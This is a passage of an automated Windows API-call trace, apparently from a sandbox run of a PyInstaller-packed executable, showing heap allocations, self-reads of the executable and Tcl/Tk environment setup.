returned 0x2a8b080 [0073.307] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b210, Size=0x14) returned 0x2a717c0 [0073.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717c0 | out: hHeap=0x2ad0000) returned 1 [0073.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180e8 [0073.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a717a0 [0073.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18070 [0073.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b130 [0073.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b150 [0073.307] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b130, Size=0x14) returned 0x2a71720 [0073.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18070 | out: hHeap=0x2ad0000) returned 1 [0073.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71720 | out: hHeap=0x2ad0000) returned 1 [0073.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18238 [0073.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71660 [0073.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18268 [0073.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0073.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b1b0 [0073.308] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b100, Size=0x14) returned 0x2a71620 [0073.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b1b0 | out: hHeap=0x2ad0000) returned 1 [0073.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18268 | out: hHeap=0x2ad0000) returned 1 [0073.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18070 [0073.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa3f90 [0073.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a702e8 | out: hHeap=0x2ad0000) returned 1 [0073.308] GetCurrentThreadId () returned 0x9b0 [0073.308] GetLastError () returned 0x0 [0073.308] GetLastError () returned 0x0 [0073.308] GetLastError () returned 0x0 [0073.308] GetLastError () returned 0x0 [0073.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x31) returned 0x2a8a3e8 [0073.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18190 [0073.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18190 | out: hHeap=0x2ad0000) returned 1 [0073.308] GetFileAttributesA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\eggs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\eggs")) returned 0xffffffff [0073.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3e8 | out: hHeap=0x2ad0000) returned 1 [0073.309] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1059d68 | out: hHeap=0x1030000) returned 1 [0073.309] htonl (hostlong=0x30000000) returned 0x30 [0073.309] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x103fdb8, cbMultiByte=-1, lpWideCharStr=0x9bb668, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0073.309] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x9bb654, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0073.309] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb50c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0073.309] GetFileType (hFile=0x1d4) returned 0x1 [0073.309] htonl (hostlong=0xb03a0000) returned 0x3ab0 [0073.309] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x4eab0, lpNewFilePointer=0x0, dwMoveMethod=0x9bb7c4 | out: lpNewFilePointer=0x0) returned 1 [0073.309] htonl (hostlong=0x91010000) returned 0x191 [0073.309] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x191) returned 0x1053520 [0073.309] htonl (hostlong=0x91010000) returned 0x191 [0073.309] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x1000) returned 0x1059630 [0073.309] ReadFile (in: hFile=0x1d4, lpBuffer=0x1059630, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9bb74c, lpOverlapped=0x0 | out: lpBuffer=0x1059630*, lpNumberOfBytesRead=0x9bb74c*=0x1000, lpOverlapped=0x0) returned 1 [0073.310] htonl (hostlong=0x7c020000) returned 0x27c [0073.310] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x27c) returned 0x10517c0 [0073.310] htonl (hostlong=0x91010000) returned 0x191 [0073.310] htonl (hostlong=0x7c020000) returned 0x27c [0073.310] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x1bcc) returned 0x105a638 [0073.310] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x105a638 | out: hHeap=0x1030000) returned 1 [0073.310] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1053520 | out: hHeap=0x1030000) returned 1 [0073.310] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1059630 | out: hHeap=0x1030000) returned 1 [0073.310] CloseHandle (hObject=0x1d4) returned 1 [0073.310] htonl (hostlong=0x7c020000) returned 0x27c [0073.310] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.310] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a17fe0, Size=0x20) returned 0x2a1fa88 [0073.310] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fa88, Size=0x40) returned 0x2a193b8 [0073.310] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a193b8, Size=0x64) returned 0x2a19ab8 [0073.310] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19ab8 | out: hHeap=0x2ad0000) returned 1 [0073.310] GetCurrentThreadId () returned 0x9b0 [0073.310] GetCurrentThreadId () returned 0x9b0 [0073.311] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ab18 [0073.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ab18 | out: hHeap=0x2ad0000) returned 1 [0073.311] GetCurrentThreadId () returned 0x9b0 [0073.311] GetCurrentThreadId () returned 0x9b0 [0073.311] GetCurrentThreadId () returned 0x9b0 [0073.311] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0073.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0073.311] GetCurrentThreadId () returned 0x9b0 [0073.311] GetCurrentThreadId () returned 0x9b0 [0073.311] GetLastError () returned 0x0 [0073.311] GetLastError () returned 0x0 [0073.311] GetLastError () returned 0x0 [0073.311] GetLastError () returned 0x0 [0073.311] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2a6e938 [0073.311] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18280 [0073.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18280 | out: hHeap=0x2ad0000) returned 1 [0073.311] GetFileAttributesA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\tcl")) returned 0x10 [0073.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6e938 | out: hHeap=0x2ad0000) returned 1 [0073.311] GetLastError () returned 0x0 [0073.311] GetLastError () returned 0x0 [0073.311] GetLastError () returned 0x0 [0073.312] GetLastError () returned 0x0 [0073.312] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2f) returned 0x2a6e938 [0073.312] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.312] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.312] GetFileAttributesA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\tk")) returned 0x10 [0073.312] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6e938 | out: hHeap=0x2ad0000) returned 1 [0073.312] GetLastError () returned 0x0 [0073.312] GetLastError () returned 0x0 [0073.312] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3c) returned 0x2a19208 [0073.312] GetLastError () returned 0x0 [0073.312] GetLastError () returned 0x0 [0073.312] GetLastError () returned 0x0 [0073.312] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.313] GetLastError () returned 0x0 [0073.314] GetLastError () returned 0x0 [0073.314] GetLastError () returned 0x0 [0073.314] GetLastError () returned 0x0 [0073.314] GetLastError () returned 0x0 [0073.314] GetLastError () returned 0x0 [0073.314] GetLastError () returned 0x0 [0073.314] GetLastError () returned 0x0 [0073.314] GetLastError () returned 0x0 [0073.314] GetLastError () returned 0x0 [0073.314] GetLastError () returned 0x0 [0073.314] GetLastError () returned 0x0 [0073.314] GetLastError () returned 0x0 [0073.314] GetLastError () returned 0x0 [0073.314] GetLastError () returned 0x0 [0073.314] GetLastError () returned 0x0 [0073.314] GetLastError () returned 0x0 [0073.314] GetLastError () returned 0x0 [0073.314] GetLastError () returned 0x0 [0073.314] GetLastError () returned 0x0 [0073.314] GetLastError () returned 0x0 [0073.315] GetLastError () returned 0x0 [0073.315] GetLastError () returned 0x0 [0073.315] GetLastError () returned 0x0 [0073.315] GetLastError () returned 0x0 [0073.315] GetLastError () returned 0x0 [0073.315] GetLastError () returned 0x0 [0073.315] GetLastError () returned 0x0 [0073.315] GetLastError () returned 0x0 [0073.315] GetLastError () returned 0x0 [0073.315] GetLastError () returned 0x0 [0073.315] GetLastError () returned 0x0 [0073.315] GetLastError () returned 0x0 [0073.315] GetLastError () returned 0x0 [0073.315] GetLastError () returned 0x0 [0073.315] GetLastError () returned 0x0 [0073.315] GetLastError () returned 0x0 [0073.315] GetLastError () returned 0x0 [0073.315] GetLastError () returned 0x0 [0073.315] GetLastError () returned 0x0 [0073.315] GetLastError () returned 0x0 [0073.315] RtlSizeHeap (HeapHandle=0x2ad0000, Flags=0x0, MemoryPointer=0x2ad1768) returned 0x94 [0073.315] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad1768, Size=0x98) returned 0x2ad1768 [0073.315] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3d) returned 0x2a18cf8 [0073.315] SetEnvironmentVariableA (lpName="TCL_LIBRARY", lpValue="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\tcl") returned 1 [0073.315] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18cf8 | out: hHeap=0x2ad0000) returned 1 [0073.316] GetCurrentThreadId () returned 0x9b0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3a) returned 0x2a190e8 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.316] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.317] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] GetLastError () returned 0x0 [0073.318] RtlSizeHeap (HeapHandle=0x2ad0000, Flags=0x0, MemoryPointer=0x2ad1768) returned 0x98 [0073.318] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad1768, Size=0x9c) returned 0x2a70fa8 [0073.318] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3b) returned 0x2a18cf8 [0073.318] SetEnvironmentVariableA (lpName="TK_LIBRARY", lpValue="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\tk") returned 1 [0073.318] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18cf8 | out: hHeap=0x2ad0000) returned 1 [0073.318] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x10517c0 | out: hHeap=0x1030000) returned 1 [0073.319] htonl (hostlong=0x30000000) returned 0x30 [0073.319] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x103fdb8, cbMultiByte=-1, lpWideCharStr=0x9bb668, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0073.319] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x9bb654, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0073.319] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb50c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0073.319] GetFileType (hFile=0x1d4) returned 0x1 [0073.319] htonl (hostlong=0x413c0000) returned 0x3c41 [0073.319] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x4ec41, lpNewFilePointer=0x0, dwMoveMethod=0x9bb7c4 | out: lpNewFilePointer=0x0) returned 1 [0073.319] htonl (hostlong=0xe6000000) returned 0xe6 [0073.319] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0xe6) returned 0x1053520 [0073.319] htonl (hostlong=0xe6000000) returned 0xe6 [0073.319] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x1000) returned 0x105ad40 [0073.319] ReadFile (in: hFile=0x1d4, lpBuffer=0x105ad40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9bb74c, lpOverlapped=0x0 | out: lpBuffer=0x105ad40*, lpNumberOfBytesRead=0x9bb74c*=0x1000, lpOverlapped=0x0) returned 1 [0073.319] htonl (hostlong=0x39010000) returned 0x139 [0073.319] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x139) returned 0x1052aa8 [0073.319] htonl (hostlong=0xe6000000) returned 0xe6 [0073.319] htonl (hostlong=0x39010000) returned 0x139 [0073.319] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x0, Size=0x1bcc) returned 0x105bd48 [0073.319] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x105bd48 | out: hHeap=0x1030000) returned 1 [0073.319] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1053520 | out: hHeap=0x1030000) returned 1 [0073.319] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x105ad40 | out: hHeap=0x1030000) returned 1 [0073.319] CloseHandle (hObject=0x1d4) returned 1 [0073.319] htonl (hostlong=0x39010000) returned 0x139 [0073.320] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.320] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a180a0, Size=0x20) returned 0x2a1f8a8 [0073.320] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f8a8 | out: hHeap=0x2ad0000) returned 1 [0073.320] GetCurrentThreadId () returned 0x9b0 [0073.320] GetCurrentThreadId () returned 0x9b0 [0073.320] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ab18 [0073.320] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ac30 [0073.320] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.320] GetCurrentThreadId () returned 0x9b0 [0073.320] GetCurrentThreadId () returned 0x9b0 [0073.320] GetCurrentThreadId () returned 0x9b0 [0073.320] GetCurrentThreadId () returned 0x9b0 [0073.320] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.320] GetCurrentThreadId () returned 0x9b0 [0073.320] GetCurrentThreadId () returned 0x9b0 [0073.320] GetLastError () returned 0x0 [0073.320] GetLastError () returned 0x0 [0073.320] GetLastError () returned 0x0 [0073.320] GetLastError () returned 0x0 [0073.320] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a1ffb8 [0073.320] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a181c0 [0073.320] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a181c0 | out: hHeap=0x2ad0000) returned 1 [0073.320] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b0e0 [0073.320] GetLastError () returned 0x0 [0073.320] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bab58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0073.321] GetFileType (hFile=0x1d4) returned 0x1 [0073.321] GetLastError () returned 0x0 [0073.321] GetCurrentThreadId () returned 0x9b0 [0073.321] GetLastError () returned 0x0 [0073.321] GetFileType (hFile=0x1d4) returned 0x1 [0073.321] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9babd4 | out: lpFileInformation=0x9babd4) returned 1 [0073.321] FileTimeToLocalFileTime (in: lpFileTime=0x9babe8, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0073.321] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0073.321] FileTimeToLocalFileTime (in: lpFileTime=0x9babe0, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0073.321] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0073.321] FileTimeToLocalFileTime (in: lpFileTime=0x9babd8, lpLocalFileTime=0x9bac18 | out: lpLocalFileTime=0x9bac18) returned 1 [0073.321] FileTimeToSystemTime (in: lpFileTime=0x9bac18, lpSystemTime=0x9bac08 | out: lpSystemTime=0x9bac08) returned 1 [0073.321] GetLastError () returned 0x0 [0073.321] GetCurrentThreadId () returned 0x9b0 [0073.321] GetLastError () returned 0x0 [0073.321] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.321] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0073.321] GetLastError () returned 0x0 [0073.321] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7067916, lpDistanceToMoveHigh=0x9bac88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9bac88*=0) returned 0x6bd90c [0073.321] GetLastError () returned 0x0 [0073.321] GetCurrentThreadId () returned 0x9b0 [0073.321] GetLastError () returned 0x0 [0073.322] GetCurrentThreadId () returned 0x9b0 [0073.322] GetLastError () returned 0x0 [0073.322] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=8003770, lpDistanceToMoveHigh=0x9bb020*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9bb020*=0) returned 0x7a20ba [0073.322] GetLastError () returned 0x0 [0073.322] GetCurrentThreadId () returned 0x9b0 [0073.322] GetLastError () returned 0x0 [0073.322] GetCurrentThreadId () returned 0x9b0 [0073.322] GetCurrentThreadId () returned 0x9b0 [0073.322] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x98cc) returned 0x2aaf178 [0073.322] GetLastError () returned 0x0 [0073.322] ReadFile (in: hFile=0x1d4, lpBuffer=0x2aaf18c, nNumberOfBytesToRead=0x9000, lpNumberOfBytesRead=0x9bafe8, lpOverlapped=0x0 | out: lpBuffer=0x2aaf18c*, lpNumberOfBytesRead=0x9bafe8*=0x9000, lpOverlapped=0x0) returned 1 [0073.322] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2ac9bb0 [0073.322] ReadFile (in: hFile=0x1d4, lpBuffer=0x2ac9bb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9bafd4, lpOverlapped=0x0 | out: lpBuffer=0x2ac9bb0*, lpNumberOfBytesRead=0x9bafd4*=0x1000, lpOverlapped=0x0) returned 1 [0073.322] GetLastError () returned 0x0 [0073.322] GetCurrentThreadId () returned 0x9b0 [0073.323] GetLastError () returned 0x0 [0073.323] GetCurrentThreadId () returned 0x9b0 [0073.323] GetLastError () returned 0x0 [0073.323] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b9cac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b9cac*=0) returned 0x7ac0ba [0073.323] GetLastError () returned 0x0 [0073.323] GetCurrentThreadId () returned 0x9b0 [0073.323] GetLastError () returned 0x0 [0073.323] GetLastError () returned 0x0 [0073.323] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac9bb0 | out: hHeap=0x2ad0000) returned 1 [0073.323] CloseHandle (hObject=0x1d4) returned 1 [0073.323] GetLastError () returned 0x0 [0073.323] GetCurrentThreadId () returned 0x9b0 [0073.323] GetLastError () returned 0x0 [0073.323] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2ac9bb0 [0073.323] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2ab8a50 [0073.323] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8000) returned 0x2b62f78 [0073.324] GetLastError () returned 0x0 [0073.324] GetCurrentThreadId () returned 0x9b0 [0073.324] GetLastError () returned 0x0 [0073.324] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8a50, Size=0x8015) returned 0x2ab8a50 [0073.324] GetLastError () returned 0x0 [0073.324] GetCurrentThreadId () returned 0x9b0 [0073.324] GetLastError () returned 0x0 [0073.324] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8a50, Size=0x10015) returned 0x2b6af80 [0073.326] GetLastError () returned 0x0 [0073.326] GetCurrentThreadId () returned 0x9b0 